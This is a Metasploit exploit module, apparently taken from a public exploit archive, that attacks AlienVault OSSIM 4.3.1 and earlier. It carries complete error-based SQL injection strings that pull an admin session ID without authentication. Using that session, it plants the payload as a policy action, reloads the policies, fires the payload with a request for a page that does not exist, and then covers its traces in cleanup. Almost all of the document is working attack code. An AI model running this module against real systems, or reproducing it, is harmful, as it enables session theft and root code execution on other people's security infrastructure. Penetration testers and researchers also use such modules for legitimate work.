Alienvault Open Source SIEM (OSSIM) – SQL Injection / Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "AlienVault OSSIM SQL Injection and Remote Code Execution", 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an active admin session ID. If an administrator level user is identified, remote code execution can be gained by creating a high priority policy with an action containing our payload. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sasha Zivojinovic', # SQLi discovery 'xistence <xistence[at]0x90.nl>' # Metasploit module ], 'References' => [ ['OSVDB', '106252'], ['EDB', '33006'] ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 10 }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'RequiredCmd' => 'generic perl python', } }, 'Targets' => [ ['Alienvault OSSIM 4.3', {}] ], 'Privileged' => true, 'DisclosureDate' => "Apr 24 2014", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']) ], self.class) end def check marker = rand_text_alpha(6) sqli_rand = rand_text_numeric(4+rand(4)) sqli = "' and(select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(user() as char)),0x#{marker.unpack('H*')[0]})) " sqli << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'), 'vars_get' => { 'date_from' => sqli } }) if res && res.code == 200 && res.body =~ /#{marker}726F6F7440[0-9a-zA-Z]+#{marker}/ # 726F6F7440 = root return Exploit::CheckCode::Vulnerable else print_status("#{res.body}") return Exploit::CheckCode::Safe end end def exploit marker = rand_text_alpha(6) sqli_rand = rand_text_numeric(4+rand(4)) sqli = "' and (select 1 from(select count(*),concat((select (select concat(0x#{marker.unpack('H*')[0]},Hex(cast(id as char)),0x#{marker.unpack('H*')[0]})) " sqli << "from alienvault.sessions where login='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '#{sqli_rand}'='#{sqli_rand}" print_status("#{peer} - Trying to grab admin session through SQLi") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'geoloc', 'graph_geoloc.php'), 'vars_get' => { 'date_from' => sqli } }) if res && res.code == 200 && res.body =~ /#{marker}(.*)#{marker}/ admin_session = $1 @cookie = "PHPSESSID=" + ["#{admin_session}"].pack("H*") print_status("#{peer} - Admin session cookie is [ #{@cookie} ]") else fail_with(Failure::Unknown, "#{peer} - Failure retrieving admin session") end # Creating an Action containing our payload, which will be executed by any event (not only alarms) action = rand_text_alpha(8+(rand(8))) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "ossim", "action", "modifyactions.php"), 'cookie' => @cookie, 'vars_post' => { 'action' => 'new', 'action_name' => action, 'descr' => action, 'action_type' => '2', 'only' => 'on', 'cond' => 'True', 'exec_command' => payload.encoded } }) if res && res.code == 200 print_status("#{peer} - Created Action [ #{action} ]") else fail_with(Failure::Unknown, "#{peer} - Action creation failed!") end # Retrieving the Action ID, used to clean up the action after successful exploitation res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"), 'cookie' => @cookie, 'vars_post' => { 'page' => '1', 'rp' => '2000' } }) if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{action}/ @action_id = $1 print_status("#{peer} - Action ID is [ #{@action_id} ]") else fail_with(Failure::Unknown, "#{peer} - Action ID retrieval failed!") end # Retrieving the policy data, necessary for proper cleanup after succesful exploitation res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"), 'cookie' => @cookie, 'vars_get' => { 'm_opt' => 'configuration', 'sm_opt' => 'threat_intelligence', 'h_opt' => 'policy' } }) if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/ policy_ctx = $1 policy_group = $2 print_status("#{peer} - Policy data [ ctx=#{policy_ctx} ] and [ group=#{policy_group} ] retrieved!") else fail_with(Failure::Unknown, "#{peer} - Retrieving Policy data failed!") end # Creating policy which will be triggered by any source/destination policy = rand_text_alpha(8+(rand(8))) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"), 'cookie' => @cookie, 'vars_post' => { 'descr' => policy, 'active' => '1', 'group' => policy_group, 'ctx' => policy_ctx, 'order' => '1', # Makes this the first policy, overruling all the other policies 'action' => 'new', 'sources[]' => '00000000000000000000000000000000', # Source is ANY 'dests[]' => '00000000000000000000000000000000', # Destination is ANY 'portsrc[]' => '0', # Any source port 'portdst[]' => '0', # Any destination port 'plug_type' => '1', # Taxonomy 'plugins[0]' => 'on', 'taxfilters[]' =>'20@13@118', # Product Type: Operating System, Category: Application, Subcategory: Web - Not Found 'tax_pt' => '0', 'tax_cat' => '0', 'tax_subc' => '0', 'mboxs[]' => '00000000000000000000000000000000', 'rep_act' => '0', 'rep_sev' => '1', 'rep_rel' => '1', 'rep_dir' => '0', 'ev_sev' => '1', 'ev_rel' => '1', 'tzone' => 'Europe/Amsterdam', 'date_type' => '1', 'begin_hour' => '0', 'begin_minute' => '0', 'begin_day_week' => '1', 'begin_day_month' => '1', 'begin_month' => '1', 'end_hour' => '23', 'end_minute' => '59', 'end_day_week' => '7', 'end_day_month' => '31', 'end_month' => '12', 'actions[]' => @action_id, 'sim' => '1', 'priority' => '1', 'qualify' => '1', 'correlate' => '0', # Don't make any correlations 'cross_correlate' => '0', # Don't make any correlations 'store' => '0' # We don't want to store anything :) } }) if res && res.code == 200 print_status("#{peer} - Created Policy [ #{policy} ]") else fail_with(Failure::Unknown, "#{peer} - Policy creation failed!") end # Retrieve policy ID, needed for proper cleanup after succesful exploitation res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "getpolicy.php"), 'cookie' => @cookie, 'vars_get' => { 'ctx' => policy_ctx, 'group' => policy_group }, 'vars_post' => { 'page' => '1', 'rp' => '2000' } }) if res && res.code == 200 && res.body =~ /row id='(.*)' col_order='1'/ @policy_id = $1 print_status("#{peer} - Policy ID [ #{@policy_id} ] retrieved!") else fail_with(Failure::Unknown, "#{peer} - Retrieving Policy ID failed!") end # Reload the policies to make our new policy active print_status("#{peer} - Reloading Policies") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), 'cookie' => @cookie, 'vars_get' => { 'what' => 'policies', 'back' => '../policy/policy.php' } }) if res && res.code == 200 print_status("#{peer} - Policies reloaded!") else fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!") end # Request a non-existing page, which will trigger a SIEM event (and thus our payload), but not an alarm. dont_exist = rand_text_alpha(8+rand(4)) print_status("#{peer} - Triggering policy and action by requesting a non existing url") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, dont_exist), 'cookie' => @cookie }) if res and res.code == 404 print_status("#{peer} - Payload delivered") else fail_with(Failure::Unknown, "#{peer} - Payload failed!") end end def cleanup begin # Clean up, retrieve token so that the policy can be removed print_status("#{peer} - Cleaning up") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "ossim", "session", "token.php"), 'cookie' => @cookie, 'vars_post' => { 'f_name' => 'delete_policy' } }) if res && res.code == 200 && res.body =~ /\{\"status\":\"OK\",\"data\":\"(.*)\"\}/ token = $1 print_status("#{peer} - Token [ #{token} ] retrieved") else print_warning("#{peer} - Unable to retrieve token") end # Remove our policy res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ossim", "policy", "deletepolicy.php"), 'cookie' => @cookie, 'vars_get' => { 'confirm' => 'yes', 'id' => @policy_id, 'token' => token } }) if res && res.code == 200 print_status("#{peer} - Policy ID [ #{@policy_id} ] removed") else print_warning("#{peer} - Unable to remove Policy ID") end # Remove our action res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ossim", "action", "deleteaction.php"), 'cookie' => @cookie, 'vars_get' => { 'id' => @action_id, } }) if res && res.code == 200 print_status("#{peer} - Action ID [ #{@action_id} ] removed") else print_warning("#{peer} - Unable to remove Action ID") end # Reload the policies to revert back to the state before exploitation print_status("#{peer} - Reloading Policies") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"), 'cookie' => @cookie, 'vars_get' => { 'what' => 'policies', 'back' => '../policy/policy.php' } }) if res && res.code == 200 print_status("#{peer} - Policies reloaded!") else fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!") end ensure super # mixins should be able to cleanup even in case of Exception end end end |